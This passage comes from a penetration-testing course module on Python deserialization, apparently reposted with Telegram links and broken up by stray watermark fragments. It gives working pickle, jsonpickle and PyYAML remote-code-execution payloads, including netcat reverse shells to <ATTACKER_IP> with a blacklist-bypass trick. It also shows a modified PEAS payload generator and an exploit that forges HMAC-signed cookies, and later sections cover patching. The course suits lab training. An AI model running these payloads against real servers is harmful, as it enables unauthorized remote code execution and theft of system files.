matter, only the value of the variables, so we can delete the rest of the functions. Lastly we
will copy the util.auth.sessionToCookie and util.auth.cookieToSession functions.
import pickle
import base64
class Session:
def __init__(self, username, role):
self.username = username
self.role = role
def sessionToCookie(session):
p = pickle.dumps(session)
b = base64.b64encode(p)
return b
def cookieToSession(cookie):
b = base64.b64decode(cookie)
for badword in [b"nc", b"ncat", b"/bash", b"/sh", b"subprocess",
b"Popen"]:
if badword in b:
r
return None
.i
p = pickle.loads(b)
return p
01
de
With our version of util/auth.py ready, we can work on our main exploit file ( exploit-
hi
admin.py ). We will instantiate a session with an arbitrary username and the admin role and
call util.auth.sessionToCookie so we can get the corresponding cookie:
import util.auth
s = util.auth.Session("attacker", "admin")
c = util.auth.sessionToCookie(s)
print(c.decode())
python3 exploit-admin.py
gASVRgAAAAAAAACMCXV...SNIP...b2xllIwFYWRtaW6UdWIu
Testing Locally
https://t.me/CyberFreeCourses
Before we run any attacks against the live target, we will test it out locally, like in the PHP
sections.
python3
We see in the output that s.role was set to admin , so this attack should work.
(re-)loading the admin panel to see if it worked, and we can see it has. The website
01
deserialized the cookie we generated and now thinks we are a user named attacker with
the admin role.
de
hi
Getting RCE
In the previous section, we generated a cookie value to give ourselves admin access to the
website. As a final objective, we will try and abuse the known deserialization to get remote
code execution on the web server.
https://t.me/CyberFreeCourses
You may have already noticed in the Identifying a Vulnerability section that there is
some sort of blacklist filter in the util.auth.cookieToSession function before the cookie is
deserialized. We will need to keep this in mind as we develop our exploit:
...
def cookieToSession(cookie):
b = base64.b64decode(cookie)
for badword in [b"nc", b"ncat", b"/bash", b"/sh", b"subprocess",
b"popen"]:
if badword in b:
return None
p = pickle.loads(b)
return p
...
We know that we control a value that will be passed to pickle.loads() . If we take a look at
the documentation about (un-)pickling in Python 3, we will find a lot of information describing
the process. The section which is interesting for us right now is the description for the
object.__reduce__() function.
r
.i
Reading about object.__reduce__() , we see that it returns a tuple that contains:
01
A callable object that will be called to create the initial version of the object.
A tuple of arguments for the callable object.
de
What this means exactly is that when a pickled object is unpickled, if the pickled object
hi
contains a definition for __reduce__ , it will be used to restore the original object. We can
abuse this by returning a callable object with parameters that result in command execution.
import pickle
import base64
import os
https://t.me/CyberFreeCourses
class RCE:
def __reduce__(self):
return os.system, ("ping -c 5 <ATTACKER_IP>",)
r = RCE()
p = pickle.dumps(r)
b = base64.b64encode(p)
print(b.decode())
Running this file, we will get a base64-encoded value that we should be able to set the
authentication cookie to and achieve RCE.
python3 exploit-rce.py
gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVt...SNIP...SFlFKULg==
Testing Locally
r
If we test the payload locally...
.i
python3
01
de
...and run tcpdump to capture the ICMP packets so we can confirm the RCE:
sudo tcpdump -i lo
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
https://t.me/CyberFreeCourses
listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:28:15.131656 IP view-localhost > view-localhost: ICMP echo request, id
63693, seq 1, length 64
15:28:15.131668 IP view-localhost > view-localhost: ICMP echo reply, id
63693, seq 1, length 64
15:28:16.135472 IP view-localhost > view-localhost: ICMP echo request, id
63693, seq 2, length 64
...
h'e'ad /e't'c/p'a's's'wd
r
root:x:0:0:root:/root:/usr/bin/zsh
.i
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
01
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
de
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
hi
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
With this in mind, we can update exploit-rce.py to contain our payload, which should
bypass the blacklist filter and give us a reverse shell.
...
class RCE:
def __reduce__(self):
return os.system, ("n''c -nv 172.17.0.1 9999 -e /bin/s''h",)
...
python3 exploit-rce.py
https://t.me/CyberFreeCourses
gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVt...SNIP...SFlFKULg==
We can start a Netcat listener locally, and then paste the value from above into cookie value
and reload the page to receive a reverse shell:
nc -nvlp 9999
Note that using this cookie value with result in an Internal Server Error since we are not
hi
Current State
There are no tools for Python deserialization attacks as popular as PHPGGC for PHP.
However, the attack vectors are relatively simple and very well-documented.
https://t.me/CyberFreeCourses
As I mentioned in a previous section, pickle is the default serialization library that comes
with Python. However, multiple other libraries offer serialization. These libraries include
JSONPickle and PyYAML.
JSONPickle
The technique for deserialization attacks in JSONPickle is essentially the same as for
Pickle . In both cases, you will create a payload using the object.__reduce__() function.
The resulting serialized object will just look a little different.
An example script of generating an RCE payload and the "vulnerable code" deserializing the
payload can be seen below:
import jsonpickle
import os
class RCE():
def __reduce__(self):
r
return os.system, ("head /etc/passwd",)
.i
exploit = jsonpickle.encode(RCE())
print(exploit)
de
jsonpickle.decode(exploit)
python3 jsonpickle-example.py
https://t.me/CyberFreeCourses
Some good content covering attacks for JSONPickle and Pickle are:
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/
import yaml
import subprocess
class RCE():
def __reduce__(self):
return subprocess.Popen(["head", "/etc/passwd"])
r
.i
# Serialize (Create the payload)
exploit = yaml.dump(RCE())
01
print(exploit)
de
yaml.load(exploit)
Running the example script will demonstrate command execution. There is a long error
message. However, the command is still run, so our goal is met.
python3 yaml-example.py
https://t.me/CyberFreeCourses
node = self.represent_data(data)
File "/home/kali/.local/lib/python3.10/site-
packages/yaml/representer.py", line 52, in represent_data
node = self.yaml_multi_representers[data_type](self, data)
File "/home/kali/.local/lib/python3.10/site-
packages/yaml/representer.py", line 322, in represent_object
reduce = (list(reduce)+[None]*5)[:5]
TypeError: 'Popen' object is not iterable
root:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
python.pdf
de
hi
PEAS
PEAS is a multi-tool which can generate Python deserialization payloads for Pickle ,
JSONPickle , PyYAML and ruamel.yaml . I will demonstrate its use against HTBook GmbH &
Co KG's website from the previous sections.
https://t.me/CyberFreeCourses
... and install the Python requirements with pip:
cd python-deserialization-attack-payload-generator/
pip3 install -r requirements.txt
We can generate a payload for Pickle using the command we used in the previous section
to bypass the blacklist filter in place like so:
python3 peas.py
Unfortunately, starting a Netcat listener and updating the cookie's value does not result in a
reverse shell as expected, but rather an Internal Server Error .
Let's investigate why this is. If we decode the payload, we can see the strings subprocess
and Popen , both of which we know are blocked by the blacklist filter in util/auth.py :
j
subprocessPopenpython-cX8exec(ch...SNIP...(41))R.
https://t.me/CyberFreeCourses
Taking a look at the source code for peas.py we see that subprocess.Popen is indeed in
use here.
...
class Gen(object):
def __init__(self, payload):
self.payload = payload
def __reduce__(self):
return subprocess.Popen, (self.payload,)
...
At this point, we see we would need to make a couple of modifications to this tool for it to
actually work (in this scenario). Alternatively, we could create a custom payload using our
knowledge, but for the sake of this example, I will walk through how to get peas.py working.
Inside peas.py you need to make the following changes:
#import subprocess
import os
hi
...
#return subprocess.Popen, (self.payload,)
return (os.system, (self.payload,))
...
#self.payload = pickle.dumps(Gen(tuple(self.case().split(" "))))
self.payload = pickle.dumps(Gen(self.case()))
...
#cmd = self.prefix+"python -c
exec({})".format(self.chr_encode("__import__('os').system"
cmd = self.prefix+"python -c
'exec({})'".format(self.chr_encode("__import__('os').system"
...
We can try generating the payload again with the modified version of peas.py :
python3 peas.py
You may notice that the generated payload is much longer than the one we created
ourselves. This is (mainly) because peas.py encodes strings with chr() so they end up
looking like chr(61) + chr(62) + chr(60) + ... . Anyways, starting a local Netcat
listener and pasting the cookie value in should now work and give us a reverse shell:
nc -nvlp 9999
Download the source code for HTBooks and follow along to this section on your own
machine. Install all dependencies with apt install sqlite3 python3-pip then pip3
install -r requirements.txt and finally start the server with python3 -m flask run
Introduction to HMACs
Ideally, we should never deserialize user-controlled data, but let's imagine we have to. One
simple but effective way to patch deserialization vulnerabilities, in that case, is implementing
the use of HMACs.
https://t.me/CyberFreeCourses
HMAC (Keyed-Hash Message Authentication Code) is a concept from cryptography that can
be used to verify the authenticity of a message which must be sent through an untrusted
medium. In the case of HTBooks , the message is our serialized Session cookie, and it is
untrusted because it is under the user's control between the time the server sends it out and
receives it again.
To put it simply, the server will first generate a checksum using some hash function, let's say
SHA1 and a secret key . Then, when the server sends out the serialized Session cookie,
it will include the generated checksum. When the server receives a Session cookie and
checksum, and it wants to check if it was generated by the server or not, it can generate the
expected checksum using its secret key and see whether the provided checksum
matches or not.
Patching HTBooks
As an example, we will walk through patching HTBooks .
First, we will define a secret key in util/config.py . We will use this to sign the HMACs
r
we generate.
.i
01
...
SECRET_KEY = "99308b5cf8de84fe5573a1a775406423"
de
hi
...
import hmac
import hashlib
...
def sessionToCookie(session):
# Create a pickled object and then calculate an HMAC using our secret
key
pickled = pickle.dumps(session)
hmac_calculated = hmac.new(config.SECRET_KEY.encode(), pickled,
hashlib.sha512).digest()
https://t.me/CyberFreeCourses
return cookie
def cookieToSession(cookie):
# Split and decode the cookie into Pickle and HMAC
pickled_b64, hmac_given_b64 = cookie.split(".")
pickled = base64.b64decode(pickled_b64)
hmac_given = base64.b64decode(hmac_given_b64)
r
Running the server and logging in, we can see the new cookie that HTBooks generates. It
.i
comes in the format base64(pickle(Session)).base64(hmac) :
01
de
hi
Changing any byte of the pickled data or the HMAC results in the authenticity check failing
and the cookie not being deserialized (since it can not be trusted).
While this update does prevent the attack from before, if we were somehow able to read files
from the server and read the contents of util/auth.py and util/config.py we could
carry out the same attacks, just with the extra step of calculating the HMAC.
Note that this is a hypothetical scenario that requires an extra vulnerability in the system to
exist (arbitrary file read), so this is not to say that HMACs are insecure.
https://t.me/CyberFreeCourses
Assuming HTBooks implemented this HMAC verification, and we were able to read the
contents of util/config.py and util/auth.py , let's quickly walk through obtaining RCE.
First, set up the folder structure as before:
tree exploit
exploit
├── exploit.py
└── util
└── config.py
DB_NAME = "htbooks.sqlite3"
AUTH_COOKIE_NAME = "auth_8bH3mjF6n9"
SECRET_KEY = "99308b5cf8de84fe5573a1a775406423"
r
.i
Finally, we just need to modify our exploit.py from the RCE section to generate the
01
import pickle
import base64
hi
import hashlib
import hmac
import os
import util.config
class RCE:
def __reduce__(self):
return os.system, ("nc -nv <ATTACKER_IP> 9999 -e /bin/sh",)
r = RCE()
p = pickle.dumps(r)
h = hmac.new(util.config.SECRET_KEY.encode(), p, hashlib.sha512).digest()
c = base64.b64encode(p) + b'.' + base64.b64encode(h)
print(c.decode())
Running the updated exploit code will give us a longer payload (since it includes an HMAC
at the end).
https://t.me/CyberFreeCourses
python3 exploit.py
gASVPAAAAAAAAACMBXBvc2l...SNIP...5IC1lIC9iaW4vc2iUhZRSlC4=.jlPg/hUsa4aLr0S
pFq06Xya0i8IJzyh6ELt...SNIP...I5CyQa2yejlPNX5Tg==
We can start a local Netcat listener, paste the cookie value in and receive a reverse shell as
in the previous section.
nc -nvlp 9999
To follow along with this section, SSH into the target with the credentials you found in
/var/www/htbank/creds.txt . Both Vim and Nano are installed on the machine.
In both Python and PHP, we've seen how deserialization vulnerabilities occur when
unserialize , pickle.loads , yaml.load , or a similar function is called. If we were to
https://t.me/CyberFreeCourses
instead use a safer data format such as JSON or XML and altogether avoid the use of a
deserialization function, then these problems should theoretically be avoided.
Since we walked through HTBooks (Python) in the previous section, we will walk through
updating HTBank (PHP) in this section to use JSON and avoid deserialization vulnerabilities
altogether. We also know that HTBank suffers from XSS, command injection, and arbitrary
file uploads, which merely switching to JSON format will not solve, so we will need to
address these as well.
Updating HTBank
As a first step, we can delete app/Helpers/UserSettings.php since we will not need the
class to generate and read JSON objects.
UserSettings object and updating from that. In addition to those changes, we will need to
01
shell_exec , which could lead to the same command injection vulnerability if we were not
careful, we can use native PHP functions to write to the file in append mode.
hi
Altogether, the new code should look like this (the old code is commented out so you may
see the difference):
...
public function handleSettingsIE(Request $request) {
if (Auth::check()) {
if (isset($request['export'])) {
$user = Auth::user();
// [UserSettings.__wakeup()]
https://t.me/CyberFreeCourses
// shell_exec('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\')
Unserialized user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
$fp = fopen("/tmp/htbank.log", "a");
fwrite($fp, date("[d.m.Y H:i:s]") . " Serialized user '" .
$user->name . "'\n");
fclose($fp);
$user->name = $userSettings->name;
01
$user->email = $userSettings->email;
$user->password = $userSettings->password;
de
$user->profile_pic = $userSettings->profile_pic;
$user->save();
hi
Next, we will add a validation step in the file upload so that only images can be uploaded (in
app/Http/Controllers/HTController.php::handleSettings() ):
...
if (!empty($request["profile_pic"])) {
$request->validate(['profile_pic' => 'required|image']);
$file = $request->file('profile_pic');
$fname = md5(random_bytes(20));
$file->move('uploads',"$fname.jpg");
https://t.me/CyberFreeCourses
$user->profile_pic = "uploads/$fname.jpg";
}
...
...
<div class="form-group mb-3">
<label for="ppic">Update profile picture (Only JPG)</label>
<input type="file" class="form-control-file" id="ppic"
name="profile_pic">
@if ($errors->has('profile_pic'))
<span class="text-danger">{{ $errors->first('profile_pic') }}
</span>
@endif
</div>
...
r
.i
Attempting to upload the PHAR (or any other non-image) should result in an error message
instead of letting it go through.
01
de
hi
Next, to address PHP automatically deserializing PHAR metadata, we should upgrade the
project to use the newest version of PHP or at least version 8.0, where this is disabled by
default. I'm not going to go through all the steps here, though.
Last but not least, to address the XSS issue in the settings page, we should update the
template ( resources/views/settings.blade.php ) to use {{ ... }} instead of {!! ...
!!} :
...
<p class="text-success">{{ Session::get('ie-message') }}</p>
...
https://t.me/CyberFreeCourses
At this point, the vulnerabilities should all be fixed! If we run the new server, log in and click
on Export Settings we will get a value similar to this:
echo
eyJuYW1lIjoicGVudGVzdCIsImVtYWlsIjoicGVudGVzdEB0ZXN0LmNvbSIsInBhc3N3b3JkIj
oiJDJ5JDEwJHU1bzZ1MkViak9tb2JRalZ0dTg3UU84WndRc0RkMnp6b3Fqd1MwLjV6dVByM2hx
azl3ZmRhIiwicHJvZmlsZV9waWMiOiJ1cGxvYWRzXC83ZTRjMDkwZjdhMjBkMmI5YmVkYmE3ZG
EwNTAyN2UzOS5qcGcifQ== | base64 -d
{"name":"pentest","email":"[email
protected]","password":"$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuP
r3hqk9wfda","profile_pic":"uploads\/7e4c090f7a20d2b9bedba7da05027e39.jpg"}
Our custom attack payloads will not work anymore, nor for the XSS...
r
.i
01
tail /tmp/htbank.log
hi
... and trying the PHPGGC payload will result in a server error (when PHP tries to access
$userSettings->name after decoding the "JSON" object).
https://t.me/CyberFreeCourses
Skills Assessment I
You are tasked with testing the HTBrain note-taking application for vulnerabilities.
Your Second Brain: "Your mind is for having ideas, not holding them.", so don't
overload your brain with ideas; just dump them into HTBrain.
Convenient: Our web app allows you to write down your thoughts and quick notes
easily and securely.
Secure: Our web app does not require any authentication or logins; all data is stored on
the front end, and nothing is saved on our servers.
r
This is a white-box assessment, so the application's source code is available for you to look
.i
through.
01
de
hi
Skills Assessment II
The company HTBear GmbH wants you to test their website for vulnerabilities. Certainly, the
"internet's oldest security blog" wouldn't have any security vulnerabilities? That would just be
ironic...
Note that, unlike the previous assessment, this is a black-box test (no source code is given).
Use what you've learned in this module and work with what you are given!
https://t.me/CyberFreeCourses
r
.i
01
de
hi
https://t.me/CyberFreeCourses